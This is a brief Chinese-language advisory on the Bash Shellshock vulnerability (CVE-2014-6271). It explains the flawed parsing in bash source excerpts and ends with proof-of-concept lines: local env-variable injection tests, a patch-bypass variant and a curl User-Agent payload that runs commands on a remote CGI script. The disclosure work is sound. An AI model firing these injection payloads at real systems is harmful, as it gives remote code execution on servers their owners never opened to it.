| 首页 > 新闻公告 > 公告详情
CVE-2014-6271 Bash总结
2014-09-25

概述:

低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造畸形命令执行额外的代码。


细节:

bash-4.1/variables.c 的 initialize_shell_variables() 函数负责解析临时环境变量中的函数定义并执行出,未验证特殊的环境变量情况,代码如下:

void

initialize_shell_variables (env, privmode)

     char **env;

     int privmode;

{

...

strcpy (temp_string + char_index + 1, string);

/*此处缺少对畸形环境变量的验证,应修改为

if (legal_identifier (name))

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);

*/

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);


/* Ancient backwards compatibility.  Old versions of bash exported

functions like name()=() {...} */

if (name[char_index - 1] == ')' && name[char_index - 2] == '(')

 name[char_index - 2] = '\0';

...

}



bash-4.1/builtins/evalstring.c 的parse_and_execute() 函数负责具体的解析和执行,未验证特殊的command情况,代码如下:

int

parse_and_execute (string, from_file, flags)

     char *string;

     const char *from_file;

     int flags;

{

...

else if (command = global_command)

   {

     struct fd_bitmap *bitmap;


 /*此处缺少对command类型的判断,应添加

if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)

{

internal_warning ("%s: ignoring function definition attempt", from_file);

should_jump_to_top_level = 0;

last_result = last_command_exit_value = EX_BADUSAGE;

break;

}

 */

     bitmap = new_fd_bitmap (FD_BITMAP_SIZE);

     begin_unwind_frame ("pe_dispose");

     add_unwind_protect (dispose_fd_bitmap, bitmap);

     add_unwind_protect (dispose_command, command);/* XXX */


     global_command = (COMMAND *)NULL;

...

}


影响范围:

该漏洞影响gnu bash 4.3之前的版本。

由于bash的广泛应用,也影响到其他的软件,如httpd cgi等。


利用方法:

[bash本地命令注入]

1.官方验证版 env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"

2.官方patch绕过版 env -i X='() { (a)=>\' bash -c 'echo date'; cat echo 

[http cgi远程命令执行]

curl -A "() { :; }; /bin/ls /; uname -a" http://www.aaa.com/bbb.cgi -v 


作者:max